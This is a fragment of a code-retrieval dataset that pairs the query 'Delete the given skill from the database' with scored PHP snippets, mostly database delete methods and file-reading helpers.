"8e3eeeecb8e6b462718feb4999872e61", "score": "0.58656824", "text": "public function readFileContent()\n {\n if (!$this->file) {\n return null;\n }\n $pathFull = Yii::getAlias('@frontend/web' . $this->file);\n if (!file_exists($pathFull) || !is_readable($pathFull)) {\n return null;\n }\n \n $pathFullHtml = \"$pathFull.html\";\n if (file_exists($pathFullHtml)) {\n return file_get_contents($pathFullHtml);\n }\n \n $content = $this->readZippedXML($pathFull);\n return $content;\n }", "title": "" }, { "docid": "7ff7c68aea9040fb5e62832c264b2bcd", "score": "0.58654225", "text": "public function get(string $path): string\n {\n return file_get_contents($path);\n }", "title": "" }, { "docid": "ad140b1cc04545961b22c0c98b246746", "score": "0.5864016", "text": "public function getContent(string $path): string\n {\n return file_get_contents($path);\n }", "title": "" }, { "docid": "178f13282a75a01766b9ae3ca2c39c09", "score": "0.585567", "text": "public static function getFileContents($filePath) {\n $fh = @fopen($filePath, 'r');\n if(!$fh) {\n return null;\n }\n $data = fread($fh, filesize($filePath));\n fclose($fh);\n if (get_magic_quotes_runtime()) {\n $data = stripslashes($data);\n }\n return $data;\n }", "title": "" }, { "docid": "19943d1ede864e50374c975d9f8c1cf6", "score": "0.58550346", "text": "public function read(string $uri)\n {\n if ( ! file_exists($uri)) {\n return \"\";\n }\n\n return file_get_contents($uri);\n }", "title": "" }, { "docid": "aab92c66fe5a7745ed5cde41234b0bbc", "score": "0.5848106", "text": "public function read()\n {\n if(!$this->edit && $this->exists())\n readfile($this->getPath());\n else\n echo $this->contents;\n }", "title": "" }, { "docid": "a25a5e0c5f199896815339ee0cca919a", "score": "0.5847012", "text": "function openFile($file) \n{\n\tglobal $txt;\n\n\t$file_open = fopen($file, 'r') or fatal_lang_error('fm_file_couldnotopen_read',0);\n\t$file_content = filesize($file) != 0 ? fread($file_open, filesize($file)) : '';\n\tfclose($file_open);\n\n\treturn $file_content;\n\n}", "title": "" }, { "docid": "d27326f2f9a9ebe922d5b18366b117e6", "score": "0.58346796", "text": "public static function getFile($file) {\n if(file_exists(ROOT_PATH.'/'.$file)) {\n $data = file_get_contents(ROOT_PATH.'/'.$file);\n if (substr($data, 0, 3) === pack(\"CCC\", 0xef, 0xbb, 0xbf)) {\n $data = substr($data, 3);\n }\n return trim($data);\n }\n return '';\n }", "title": "" }, { "docid": "60161d5727cb824006093c31aecaed3b", "score": "0.5797825", "text": "function read_file($fname) {\n\t$fp = fopen($fname, \"r\");\n\tif(!$fp) return false;\n\t\n\t$data = fread($fp, filesize($fname));\n\tfclose($fp);\n\t\n\treturn $data;\n}", "title": "" }, { "docid": "9d577b59b0600fcdb248d7d792949a75", "score": "0.5787609", "text": "function echoBorCalFile($myFile) {\n $fh = fopen($myFile, 'r');\n $theData = fread($fh, filesize($myFile));\n fclose($fh);\n echo $theData;\n}", "title": "" } ]
ad7eb6cc81e1e4bf55e88c6cfdb7e37c
Delete the given skill from the database.
[ { "docid": "d8d2199c26309083647f120662247bc9", "score": "0.65539414", "text": "function threesixty_delete_skill($skillid, $intransaction=false){\n\tglobal $DB;\n\t\n if (!$intransaction) {\n //SCANMSG: transactions may need additional fixing\n $transaction = $DB->start_delegated_transaction();\n\n }\n // Delete all dependent response skills\n if (!$DB->delete_records('threesixty_response_skill', array('skillid' => $skillid))) {\n if (!$intransaction) {\n }\n return false;\n }\n // Delete matching records in trdiary_pdp_skill\n $trdiarytable = new xmldb_table('trdiary_pdp_skill');\n if ($dbman->table_exists($trdiarytable)) {\n if (!$DB->delete_records('trdiary_pdp_skill', array('skillid' => $skillid))) {\n if (!$intransaction) {\n }\n return false;\n }\n }\n // Perform the deletion\n if (!$DB->delete_records('threesixty_skill', array('id' => $skillid))) {\n if (!$intransaction) {\n }\n return false;\n }\n if (!$intransaction) {\n $transaction->allow_commit();\n }\n return true;\n}", "title": "" } ]
[ { "docid": "e22d547b4105c892065c9dd6d808f55a", "score": "0.72941536", "text": "public function destroy(skill $skill)\n {\n if($skill->user->id !== Auth::id()){\n Toastr::error('You are not authorised to access this Item!!', 'Error');\n\n return redirect()->back ();\n }\n $skill->categories ()->detach();\n $skill->tags ()->detach();\n\n $skill->delete();\n Toastr::success('Skill Successfully Deleted!!', 'Success');\n return redirect ()->back();\n\n }", "title": "" }, { "docid": "d934b33d2346d10cfa72375426528445", "score": "0.7172821", "text": "public function destroy(Skill $skill)\n {\n try {\n DB::beginTransaction();\n\n $skill->delete();\n flash('Skill has been deleted.')->success();\n\n DB::commit();\n } catch (\\Exception $exception) {\n flash('Something went wrong, while deleting Skill.')->error();\n DB::rollBack();\n }\n\n return back();\n }", "title": "" }, { "docid": "68366b43f90d199219b3773493498126", "score": "0.715282", "text": "function deleteSkill($skillId)\n {\n $this->db->where('id', $skillId);\n $this->db->delete('skills');\n return TRUE; \n }", "title": "" }, { "docid": "6e7806bc2a47e40f9d3e799ed31ef549", "score": "0.71076906", "text": "public function destroy(Skill $skill)\n {\n $skill->delete();\n\n return redirect('habilidades');\n }", "title": "" }, { "docid": "59688f485ce68be18e02ec938f6de519", "score": "0.71015674", "text": "public function deleteSkill(Request $request){\n\n \t$destroyed = Skill::destroy($request->id);\n\n \tif ($destroyed == true){\n \t\treturn response(['status' => 'success'], 200);\n \t} else {\n \t\treturn response(['status' => 'error'], 404);\n \t}\n }", "title": "" }, { "docid": "2af2b3f349564eca886d8856ab78e930", "score": "0.69899744", "text": "public function destroy(Skill $skill) {\n\n $skill->delete();\n return redirect()->route('skill.index')->with('message', 'item has been deleted successfully');\n }", "title": "" }, { "docid": "5c9d51a121418c442f2914a40821afe4", "score": "0.6976501", "text": "public function deleteSkill($id) {\n try {\n AppLogger::info(\"Entering userDataService.deleteSkill()\");\n AppLogger::info(\"Preparing SQL Statement\");\n $stmt = $this->db->prepare(\"DELETE FROM `skills` WHERE `SKILLID` = :id\");\n \n $stmt->bindParam(\":id\", $id);\n \n AppLogger::info(\"Executing SQL Statement\");\n $stmt->execute();\n AppLogger::info(\"Exiting deleteSkill()\");\n }\n catch(PDOException $e)\n {\n AppLogger::error(\"Exception: \", array(\"message: \" => $e->getMessage()));\n throw new DatabaseException(\"Database Exception: \" . $e->getMessage(), 0, $e);\n \n }\n}", "title": "" }, { "docid": "6faa5c219f55ccf152cc3ca0a92daf5f", "score": "0.6953524", "text": "public function destroy(Skill $skill)\n {\n $skill->delete();\n return response(['message' => \"Skill was removed successfully\"], 200);\n }", "title": "" }, { "docid": "ed798137c086e881b70240c4d9f1fc23", "score": "0.69150496", "text": "public function deleting($skillType)\n {\n\t\tparent::deleting($skillType);\n }", "title": "" }, { "docid": "81d14a28552187a3ff37109188d1e2a2", "score": "0.6706345", "text": "public function removeSkillAction()\n {\n \n \t$result = \\Extended\\user_skills::deleteSkill( $this->getRequest()->getParam(\"user_skill_id\"), Auth_UserAdapter::getIdentity()->getId() );\n \t$doUserHaveSkills = \\Extended\\user_skills::doUserHaveSkills( Auth_UserAdapter::getIdentity()->getId() );\n \n \t$result_arr=array();\n \t$result_arr['is_deleted'] = 0;\n \t$result_arr['do_user_have_skills'] = 0;\n \tif( $doUserHaveSkills )\n \t{\n \t\t$result_arr['do_user_have_skills'] = 1;\n \t}\n \tif($result)\n \t{\n \t\t$result_arr['is_deleted'] = 1;\n \t}\n \techo Zend_Json::encode( $result_arr );\n \tdie;\n }", "title": "" }, { "docid": "53ec5332bffb2f8a5daaf60cf589015d", "score": "0.64354414", "text": "public function destroy($id)\n {\n $skill = Skill::findOrFail($id);\n $skill->delete();\n return redirect('skills')->with('success', 'Successfully deleted skill!');\n }", "title": "" }, { "docid": "5edf5066b5e8bf208f6a294860a899e5", "score": "0.63229126", "text": "public function destroy(AboutDigitalSkill $aboutDigitalSkill)\n {\n $aboutDigitalSkill->delete();\n return redirect()->back();\n }", "title": "" }, { "docid": "ab7f839fce9930ec452397dd7d577d86", "score": "0.6202937", "text": "public function deleteAllSkills($id) {\n try {\n AppLogger::info(\"Entering userDataService.deleteAllSkills()\");\n AppLogger::info(\"Preparing SQL Statement\");\n $stmt = $this->db->prepare(\"DELETE FROM `skills` WHERE `user_userID` = :id\");\n \n $stmt->bindParam(\":id\", $id);\n \n AppLogger::info(\"Executing SQL Statement\");\n $stmt->execute();\n AppLogger::info(\"Exiting deleteAllSkills()\");\n }\n catch(PDOException $e)\n {\n AppLogger::error(\"Exception: \", array(\"message: \" => $e->getMessage()));\n throw new DatabaseException(\"Database Exception: \" . $e->getMessage(), 0, $e);\n \n }\n}", "title": "" }, { "docid": "f499fb6b499c69cbe8b3773c8b0a2989", "score": "0.61864805", "text": "public function destroy($id)\n {\n //On récupére le skill qui a été passé en paramétre\n $skill = skill_set::find($id);\n // On l'efface\n $skill->delete();\n // On indique que tout s'est bien passé via un flash message\n Session::flash('msg', 'Le skill a bien été supprimé dans le base de données');\n return redirect()->route('skills_set.index');\n }", "title": "" }, { "docid": "10ac8015358114d55920c5c38be2658e", "score": "0.6179027", "text": "public function destroy($id)\n {\n Skill::findOrFail($id)->delete();\n\n return redirect('/admin/skills');\n }", "title": "" }, { "docid": "1191f8b1401637303bd4807657f0ff14", "score": "0.6163198", "text": "public function destroy(Experience $experience)\n {\n //\n }", "title": "" }, { "docid": "980487ed345f33342e7a244aa24704c7", "score": "0.60556144", "text": "public function deleteExperience(Experience $experience)\n {\n return Auth::user()->id == $experience->user_id ? $experience->delete() : exit('oops something went wrong !'); \n }", "title": "" }, { "docid": "35311206135e4e3a30136ae711ab9336", "score": "0.6027376", "text": "public function destroy($id)\n {\n $skill = Skill::find($id);\n $skill->delete();\n return redirect()->back()->with('record_deleted','skill Successfully Deleted');\n }", "title": "" }, { "docid": "4ea9e303800cf7ea580314875958bf8e", "score": "0.6010972", "text": "public function destroy($id)\n {\n $model = Skills::find($id); \n\n $log = new SystemLog;\n $log->user_id = Auth::user()->user_code;\n $log->section = 'Skills';\n $log->category = 'D';\n $log->remark = 'Delete Skills - '. $model->id . ' - '. $model->skills;\n $log->save();\n \n $model->delete();\n\n $skills = Skills::all();\n return redirect()->route('skill.index', compact('skills'));\n }", "title": "" }, { "docid": "c537acac7af1240c76256bdf49086f51", "score": "0.5997271", "text": "function coresurvey_delete_skill_survey_member($id) {\n global $DB;\n\treturn $DB->delete_records('coresurveyskill_member', array($id));\n }", "title": "" }, { "docid": "df2a2cc336c5a4f34b5546bb3a496f74", "score": "0.59606385", "text": "function delete_question($question){\n $args = array(\n 'clause_where'=>array('ID'=>$question)\n );\n \n execute_sql(\"DELETE\", \"questions\", $args);\n }", "title": "" }, { "docid": "7621f18a5b7c4ae6ec490450da7b8905", "score": "0.5959012", "text": "public function destroy(Experience $experience)\n {\n $result = $this->deleteData($this->experiencesRepo, $experience);\n\n echo json_encode($result);\n die;\n }", "title": "" }, { "docid": "4dbf284e94c74b19f2be577b0f361bb3", "score": "0.59373045", "text": "public function delete() {\n\t\t\tdosql(\"DELETE FROM students WHERE id = :id\", array(\":id\" => $this->id));\n\t\t}", "title": "" }, { "docid": "340448cbe836d1741f70e8b4a7df8a77", "score": "0.5927644", "text": "public function deleted(SkillType $skillType)\n {\n // Removing Entries from the Cache\n $this->clearCache($skillType);\n }", "title": "" }, { "docid": "4d396a2a1d64c7bc35e491fede78f6ac", "score": "0.5881907", "text": "public function destroy(Attribute $attribute);", "title": "" }, { "docid": "ca590ae6d41644ca1cc765f2cb2c557b", "score": "0.58246446", "text": "public function delete() {\n\t\t//Connection with the database\n\t\t$conn = new BDmyMusicalU();\n\t\tif (mysqli_connect_errno()) {\n \t\tprintf(\"Connection with the database has failed, error: %s\\n\", mysqli_connect_error());\n \t\texit();\n\t\t}\n\t\t\n\t\t//Preparing the sentence\n\t\t$stmt = $conn->stmt_init();\n\t\tif ($stmt->prepare(\"delete from `\".userClass::$tableName.\"` where \".userClass::$colNameId.\" = ?\")) {\n\t\t\t$stmt->bind_param(\"i\", $this->getId());\n\t\t\t$stmt->execute();\n\t\t}\n\t\tif ( $conn != null ) $conn->close();\n }", "title": "" }, { "docid": "813234a6990b9627de90183ac318057b", "score": "0.5814838", "text": "public function testDeleteWebSphere(Personal $jocelyn){ \n $honeylyn = $this->honeylyn;\n\n $skill = new Skill();\n $skill->setId(2); \n $skill->setCandidate($jocelyn);\n $skill->setSkill(\"WebSphere\");\n $skill->setExperience(1);\n $skill->setProficiency(1);\n\n $removedSkill = $jocelyn->removeSkill($skill);\n $historyChanges = \"Removed skill \" . $removedSkill->getSkill();\n $staffHistory = $this->createStaffHistory($jocelyn, $honeylyn, $historyChanges);\n \n $this->assertEquals(5, count($jocelyn->getSkills()));\n\n return $jocelyn;\n }", "title": "" }, { "docid": "ce579499394944a8ee99c0b581c6110f", "score": "0.57802004", "text": "public function deleteById($examId);", "title": "" }, { "docid": "ec86a85f627acfae2ce6f72f0052e0ea", "score": "0.577941", "text": "public function destroy($id) {\n\t\t$response = skillgroup::find($id)->delete();\n\t\t//$db_ext = \\DB::connection('mysql_external');\n\t\t//$db_ext->table('skill_group')->where('id', $id)->delete();\n\t\tif ($response) {\n\t\t\treturn 'true';\n\t\t}\n\n\t}", "title": "" }, { "docid": "8b0b4548ad7abade4ca3bca024dc64fc", "score": "0.56595635", "text": "public function destroy($id)\n {\n $experience= Experience::find($id)->delete();\n }", "title": "" }, { "docid": "4462704a41482877461900db5b3f5eba", "score": "0.5657192", "text": "public function delete($personExtTrainingId)\n {\n DB::table('person_ext_training')->where('id', $personExtTrainingId)->delete();\n }", "title": "" }, { "docid": "bda1f03e3d13c370182d17154b87d824", "score": "0.56253386", "text": "function delete_dicta($prof_codigo,$mat_codigo)\n {\n $response = $this->db->delete('dicta',array('prof_codigo'=>$prof_codigo,'mat_codigo'=>$mat_codigo));\n if($response)\n {\n return \"dicta deleted successfully\";\n }\n else\n {\n return \"Error occuring while deleting dicta\";\n }\n }", "title": "" }, { "docid": "364e679d5186922ca86c06c25a7da960", "score": "0.56082356", "text": "public function destroy($id)\n {\n $skill = userSkill::find($id);\n $skill->delete();\n return response::json($skill);\n }", "title": "" }, { "docid": "92bad7ba922266aff01e91accfcf26d2", "score": "0.55961466", "text": "public function destroy($id)\n {\n $this->skillRepo->delete($id);\n\n Session::flash('message','Skill deleted successfully!');\n Session::flash('alert-class', 'alert-success');\n\n return back();\n }", "title": "" }, { "docid": "867cc3680848203a142628553b8db31f", "score": "0.5585785", "text": "public function deleteByUser($id)\n {\n $this->logger->info(\"Entering SkillDAO.deleteByUser($id)\");\n\n // Build the query\n $query = \"DELETE FROM SKILLS WHERE USERS_ID = :id\";\n $stmt = $this->db->prepare($query);\n\n // Bind parameters\n $stmt->bindParam(':id', $id);\n\n // Execute query\n $result = $stmt->execute();\n\n // Verify result\n if ($result)\n {\n\n $this->logger->info(\"Exit SkillDAO.deleteByUser() with success\");\n return true;\n }\n else\n {\n\n $this->logger->info(\"Exit SkillDAO.deleteByUser() with failure\");\n return false;\n }\n }", "title": "" }, { "docid": "824229346851af672b0add0e24760c85", "score": "0.55671585", "text": "function deleteUserSkills($userId)\n {\n $this->db->where('user_id', $userId);\n $this->db->delete('skills');\n return TRUE;\n }", "title": "" }, { "docid": "dec268731ea603a51b58c83b97d0d917", "score": "0.5563852", "text": "public function destroy(Experience $experience)\n {\n //\n $experience->delete();\n return back();\n }", "title": "" }, { "docid": "4ff9bc55401cfa0ee59acb1a68e9f4c4", "score": "0.55386406", "text": "public function destroy(Lesson $lesson)\n {\n //\n }", "title": "" }, { "docid": "4ff9bc55401cfa0ee59acb1a68e9f4c4", "score": "0.55386406", "text": "public function destroy(Lesson $lesson)\n {\n //\n }", "title": "" }, { "docid": "a7a80906eb8675e99f097b2858a88dfd", "score": "0.55228394", "text": "public function destroy($id_experience, Experience $experience)\n {\n $experience = Experience::find($id_experience);\n $experience->delete();\n return redirect()->to('/pengalaman')\n ->with('success','Pengalaman deleted successfully');\n }", "title": "" }, { "docid": "882de57fb313cac73b03306c94bee17f", "score": "0.55110455", "text": "public function destroy($id)\n {\n $badSkill = Skill::find($id);\n $badSkill->delete();\n\n return redirect()->back();\n }", "title": "" }, { "docid": "50673ac79a0b50940f2e403f82a0c8c8", "score": "0.5499511", "text": "public function destroy(SkillCategory $category)\n {\n $result = $this->deleteData($this->skillCategoriesRepo, $category);\n\n echo json_encode($result);\n die;\n }", "title": "" }, { "docid": "a8a75fdb27a351345e13c2db27bf00b0", "score": "0.54949677", "text": "public function destroy(Question $question)\n {\n //\n }", "title": "" }, { "docid": "a8a75fdb27a351345e13c2db27bf00b0", "score": "0.54949677", "text": "public function destroy(Question $question)\n {\n //\n }", "title": "" }, { "docid": "a8a75fdb27a351345e13c2db27bf00b0", "score": "0.54949677", "text": "public function destroy(Question $question)\n {\n //\n }", "title": "" }, { "docid": "a8a75fdb27a351345e13c2db27bf00b0", "score": "0.54949677", "text": "public function destroy(Question $question)\n {\n //\n }", "title": "" }, { "docid": "a8a75fdb27a351345e13c2db27bf00b0", "score": "0.54949677", "text": "public function destroy(Question $question)\n {\n //\n }", "title": "" }, { "docid": "a8a75fdb27a351345e13c2db27bf00b0", "score": "0.54949677", "text": "public function destroy(Question $question)\n {\n //\n }", "title": "" }, { "docid": "a8a75fdb27a351345e13c2db27bf00b0", "score": "0.54949677", "text": "public function destroy(Question $question)\n {\n //\n }", "title": "" }, { "docid": "b8e05396142872e216325da415870a11", "score": "0.54921514", "text": "function deleteOne()\n {\n $GLOBALS['DB']->exec(\"DELETE FROM students WHERE id = {$this->getId()};\");\n }", "title": "" }, { "docid": "11e68c19fa7ac1ff65605946d5452ef4", "score": "0.5485997", "text": "public function destroy(Attribute $attribute)\n {\n //\n }", "title": "" }, { "docid": "ba76097e698f08c47f6afb5b0d2cff5c", "score": "0.5481346", "text": "function deleteExamination($param2){\n $this->db->where('exam_id', $param2);\n $this->db->delete('exam');\n }", "title": "" }, { "docid": "e997fa96115bb784e0c81760562c0f30", "score": "0.5478619", "text": "public function destroy(Attribute $attribute)\n {\n $attribute->delete();\n }", "title": "" }, { "docid": "49cb6735108a6801be9e52aac3e5a567", "score": "0.54759616", "text": "public function destroy($id) {\n \t\n\t\t \n $experience = Experience::findOrFail($id);\n $experience->delete();\n $msg = \"Experience Deleted Successfully.\";\n\t\t$log = ActivityLog::createlog(Auth::Id(), \"Experience\", $msg, Auth::Id());\n Session::flash('success_msg', $msg);\n Session::save();\n echo 1;\n exit;\n }", "title": "" }, { "docid": "9f02d1ba93d33367f251929981f46372", "score": "0.54710203", "text": "function deleteStory($story_id) {\n $db = Database::instance()->db();\n $stmt = $db->prepare('DELETE FROM stories WHERE entity_id = ?');\n $stmt->execute(array($story_id));\n }", "title": "" }, { "docid": "7a6bc1b30ebc3914059351f84a498dff", "score": "0.54538566", "text": "public function delete($id_story)\r\n {\r\n $this->_db->exec(\"DELETE FROM story WHERE id_story=\".$id_story);\r\n \r\n }", "title": "" }, { "docid": "c6d58429f55cbe8fe2997b81a52a7938", "score": "0.54537237", "text": "public function delete($attribute) {\n $this->em->remove($attribute);\n $this->em->flush();\n }", "title": "" }, { "docid": "3601d74e164c94c37bd2d6acc4a82611", "score": "0.54432356", "text": "public function deleteRecord();", "title": "" }, { "docid": "a8a068f81700bda61e9135d3d0d13fd3", "score": "0.5432525", "text": "public function destroy(Knowledge $knowledge)\n {\n }", "title": "" }, { "docid": "0454199e1607ea530246ca83c62132cb", "score": "0.5416203", "text": "public function deleteSkill(AdminSkillService $skillService, int $id)\n {\n // delete an existing skill\n $response = $skillService->deleteSkill($id);\n\n // Set api response\n $this->setResponse($response['status'], $response['message'], $response['data']);\n\n return ApiResponseHandler::jsonResponse($this->status, $this->message, $this->data);\n }", "title": "" }, { "docid": "9f12cc29df65b91c72dbeb77e16cabbe", "score": "0.5399023", "text": "public function delete_how_to_learn_delete()\r\n\t{\r\n\t\t$details=array('how_to_learn_id'=>$this->uri->segment(2));\r\n\t\t$response = $this->how_to_learn_api->_delete_how_to_learn($details);\r\n\t\t$this->response($response, REST_Controller::HTTP_OK);\r\n\t}", "title": "" }, { "docid": "7b78ad6985f210ee1cf44e286b83e95a", "score": "0.53958184", "text": "public function delete(): void\n {\n if ($this->getSchoolClassId() >= 0) {\n $db = new DB();\n\n $db->startTransaction();\n\n $db->query(\"DELETE FROM templates WHERE FK_Class = ?\", $this->getSchoolClassId());\n $db->query(\"DELETE FROM `student` WHERE `student`.`FK_Class` = ?\", $this->getSchoolClassId());\n $db->query(\"DELETE FROM `templates` WHERE `templates`.`FK_Class` = ?\", $this->getSchoolClassId());\n $db->query(\"DELETE FROM `class` WHERE `class`.`PK_Class` = ?\", $this->getSchoolClassId());\n\n $db->commitTransaction();\n }\n }", "title": "" }, { "docid": "07ece071a1b91a0426e7511b121bd9f5", "score": "0.53875595", "text": "public function run()\n {\n DB::table(\"skills\")->delete();\n \n //\n // Programming \n //\n \n Skill::create([\"name\" => \"PHP\"]);\n Skill::create([\"name\" => \"MySQL\"]);\n Skill::create([\"name\" => \"JavaScript\"]);\n Skill::create([\"name\" => \"HTML\"]);\n Skill::create([\"name\" => \"CSS\"]);\n Skill::create([\"name\" => \"C\"]);\n Skill::create([\"name\" => \"C++\"]);\n Skill::create([\"name\" => \"C#\"]);\n Skill::create([\"name\" => \".NET\"]);\n Skill::create([\"name\" => \"Python\"]);\n Skill::create([\"name\" => \"R\"]);\n\n //\n // Project management\n //\n\n Skill::create([\"name\" => \"Scrum\"]);\n Skill::create([\"name\" => \"Prince2\"]);\n Skill::create([\"name\" => \"Project Management\"]);\n }", "title": "" }, { "docid": "df93eb05c47b9b326a7f8c3b0a1edf89", "score": "0.53845245", "text": "private function delete()\n {\n //Load and store parameters\n $quickmeal_id = (int)$this->Request->get('quickmeal_id');\n $this->responseSetParam('quickmeal_id', $quickmeal_id);\n\n //Delete quick meal\n $QuickmealsLib = new QuickmealsLib($this->DB, $this->User);\n $QuickmealsLib->delete($quickmeal_id);\n }", "title": "" }, { "docid": "7f91234fd35029c242f88357a9603e2f", "score": "0.5381727", "text": "public function destroy(Story $story)\n {\n //\n }", "title": "" }, { "docid": "9938b9905ca84d5bd09fe7226786aff1", "score": "0.5380813", "text": "public function delete(){\n\n $sqlQuery = \"DELETE FROM hobbies WHERE id=\".$this->id;\n\n $status = $this->dbh->exec($sqlQuery);\n\n if($status)\n\n Message::message(\"Success! Data has been deleted successfully<br>\");\n else\n Message::message(\"Failed! Data has not been deleted<br>\");\n\n\n }", "title": "" }, { "docid": "f0c922dc0ae23bb06153825624434a69", "score": "0.5376623", "text": "public function destroy($id)\n {\n $data = SkillDetails::find($id);\n $image = $data->image;\n if($image != \"\"){\n $path = \"images/project/$image\";\n unlink($path);\n }\n $data->delete();\n return back()->with('success',\"The skill details has been successfully deleted \");\n }", "title": "" }, { "docid": "3e93954a84cb7040583a45b9efc9caf4", "score": "0.536581", "text": "function delete()\n {\n $GLOBALS['DB']->exec(\"DELETE FROM lessons WHERE id = {$this->getId()};\");\n }", "title": "" }, { "docid": "3fcc4f9f21ddebe8badac3c1602f2181", "score": "0.5359605", "text": "public function destroy(Experience $experience)\n {\n $experience->delete();\n return response('null', Response::HTTP_NO_CONTENT);\n }", "title": "" }, { "docid": "25efc6555e33e258b683faad5335266d", "score": "0.53507465", "text": "public function delete($id){\n $database = new MySQLDatabase();\n\n $this->question_id = $database->escape_value($id);\n\n //Remove survey from database\n $result = $database->query(\"DELETE from `questions` WHERE id = {$this->question_id}\");\n \n if( $result && $database->affected_rows() == 1 ){\n redirectTo('index.php');\n }else{\n echo 'Delete failed';\n }\n }", "title": "" }, { "docid": "b161fb3b0b87434535a91eabb458afef", "score": "0.5341199", "text": "public function destroy(Survey $survey)\n {}", "title": "" }, { "docid": "0c28ee3b0cd52f545eb08033ba259788", "score": "0.53389424", "text": "public function destroy(Request $request, Question $question)\n {\n $this->authorize('delete', $question);\n $this->validate($request,[\n 'keyword' =>\"regex:'DELETE'\"\n ]);\n $question->delete();\n return redirect('/question');\n }", "title": "" }, { "docid": "e3f8c7dd60e1bb81822b0b92d4ad5b25", "score": "0.5331653", "text": "function delete()\n\t{\n\t\tglobal $debug;\n\t\t$dbh = getOpenedConnection();\n\n\t\t// Delete current item\n\t\t$sql = \"delete from tbl_Pistol_Competition\n\t\t\twhere Id = $pid;\n\t\t\";\n\n\t\tif ($debug)\n\t\t\tprint_r(\"SQL: \" . $sql);\n\t\t\t\n\t\tmysqli_query($dbh,$sql);\n\t\tif (mysqli_errno($dbh)!=0) {\n\t\t\tprint_r(mysqli_error($dbh));\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t$this->clear(); // Clear current object\n\n\t}", "title": "" }, { "docid": "814ad270a868f83c5c713813bc5766cc", "score": "0.5328004", "text": "public function deleteAction(JobExperience $jobexperience)\n {\n $form = $this->createFormBuilder()->getForm();\n\n // get request\n $request = $this->get('request');\n\n // check if post sent\n if ($request->getMethod() == 'POST') {\n\n // bind data form\n $form->handleRequest($request);\n\n // valide data\n if ($form->isValid()) {\n\n // call entity manager\n $em = $this->getDoctrine()->getManager();\n\n // remove jobexperience\n $em->remove($jobexperience);\n $em->flush();\n\n // send flash message\n $this->get('session')->getFlashBag()->add('info', 'Langage supprimé.');\n\n // redirect\n return $this->redirect($this->generateUrl('admin_jobexperience_index'));\n }\n }\n\n // send view\n return $this->render('JobmanagerAdminBundle:JobExperience:delete.html.twig', array(\n 'form' => $form->createView(),\n 'jobexperience' => $jobexperience\n ));\n }", "title": "" }, { "docid": "8313fa7180bbb752e33f49720206f07b", "score": "0.5318995", "text": "public function deleteRule($identity, $role, $context);", "title": "" }, { "docid": "74379b4ab412bb394e6b4f6be8c11ca4", "score": "0.5315595", "text": "function delete($person){\n $deleted=false;\n if($this->exist($person)){\n $handler=Maqinato::connect(\"delete\");\n $stmt = $handler->prepare(\"DELETE Person WHERE id=:id\");\n $stmt->bindParam(':id',$person->getId());\n if($stmt->execute()){\n $deleted=true;\n }else{\n $error=$stmt->errorInfo();\n error_log(\"[\".__FILE__.\":\".__LINE__.\"]\".\"Mysql: \".$error[2]);\n }\n }else{\n $deleted=false;\n }\n return $deleted;\n }", "title": "" }, { "docid": "4e24804e0e48a866e8a3016100bedf94", "score": "0.5269808", "text": "public function destroy(Profession $profession)\n {\n //\n $profession->delete();\n \n // Add method to give feedback.\n \n return redirect('professions');\n }", "title": "" }, { "docid": "2b77043cfaaf2aef30b60e00578037a3", "score": "0.52684057", "text": "public function destroy(TestQuestion $testQuestion)\n {\n //\n }", "title": "" }, { "docid": "6e9abf8be0267fc0e09aac27a774882a", "score": "0.52678955", "text": "public function delete(Tag $tag): int;", "title": "" }, { "docid": "ff1745794e67d4cb6b23c9dbca022e63", "score": "0.52669215", "text": "public function delete(Feature $feature);", "title": "" }, { "docid": "0f5af701cc14246edfcf9b54315625ce", "score": "0.525802", "text": "public function delete() {\r\n\r\n $sql = $this->db->quoteInto(\"o_id = ?\", $this->model->getObjectId());\r\n\r\n // $sql = \"o_id = \" . $this->model->getObjectId();\r\n \\Logger::debug(\"query= \" . $sql);\r\n $this->db->delete($this->getTableName(), $sql);\r\n }", "title": "" }, { "docid": "6b0eef0d055973202bbecc8595effce6", "score": "0.52425855", "text": "function delete_messages_quest($question){\n $args = array(\n 'clause_where'=>array('ID_question'=>$question)\n );\n \n execute_sql(\"DELETE\", \"messages\", $args);\n }", "title": "" }, { "docid": "b18729ba7267d2215a25c145726c3961", "score": "0.5233296", "text": "public function DeleteLemon50Assessment() {\n\t\t\t$this->objLemon50Assessment->Delete();\n\t\t}", "title": "" }, { "docid": "1f303971411607d906b55d75104b83a8", "score": "0.5226638", "text": "public function Delete($id){\n Quiz::findOrFail($id)->delete();\n }", "title": "" }, { "docid": "21510d8bc6b5f5670d7341219791efce", "score": "0.52222526", "text": "public function del_by_tags($tag);", "title": "" }, { "docid": "2e049688183cadb17c81bef05f3de9fc", "score": "0.52126235", "text": "function del_education($id)\n {\n $this->db->where('id', $id);\n $this->db->delete('education');\n }", "title": "" }, { "docid": "0c469915a01c6824703d042f4fc1db0a", "score": "0.5212598", "text": "public function clearFunctionPhasesRelatedBySkillId()\n {\n $this->collFunctionPhasesRelatedBySkillId = null; // important to set this to NULL since that means it is uninitialized\n }", "title": "" }, { "docid": "b381eaebff1e7ee115841c7db0708c86", "score": "0.52064264", "text": "public function deleteQuestion(Question $question){\n $question->delete();\n return redirect(route('admin-manage-question'));\n }", "title": "" }, { "docid": "54ff2d3959a1fdbd3047c9e3f20d9d66", "score": "0.5202815", "text": "function delete(){\n\n // delete query\n $query = \"DELETE FROM \" . $this->table_name . \" WHERE idTrainer = ?\";\n\n // prepare query\n $stmt = $this->conn->prepare($query);\n\n // sanitize\n $this->idTrainer=htmlspecialchars(strip_tags($this->idTrainer));\n\n // bind id of record to delete\n $stmt->bindParam(1, $this->idTrainer);\n\n // execute query\n if($stmt->execute()){\n return true;\n }\n\n return false;\n\n }", "title": "" }, { "docid": "056459638f7978969086ee80920808e6", "score": "0.5198817", "text": "public function delete(ConnectionInterface $con = null)\n {\n if ($this->isDeleted()) {\n throw new PropelException(\"This object has already been deleted.\");\n }\n\n if ($con === null) {\n $con = Propel::getServiceContainer()->getWriteConnection(SkillTableMap::DATABASE_NAME);\n }\n\n $con->transaction(function () use ($con) {\n $deleteQuery = ChildSkillQuery::create()\n ->filterByPrimaryKey($this->getPrimaryKey());\n $ret = $this->preDelete($con);\n if ($ret) {\n $deleteQuery->delete($con);\n $this->postDelete($con);\n $this->setDeleted(true);\n }\n });\n }", "title": "" }, { "docid": "a525c881cff48c8f3740b9486f6613af", "score": "0.51986295", "text": "public function delete($questionId){\n\t\t$sql = 'DELETE FROM question WHERE questionId = ?';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\t$sqlQuery->setNumber($questionId);\n\t\treturn 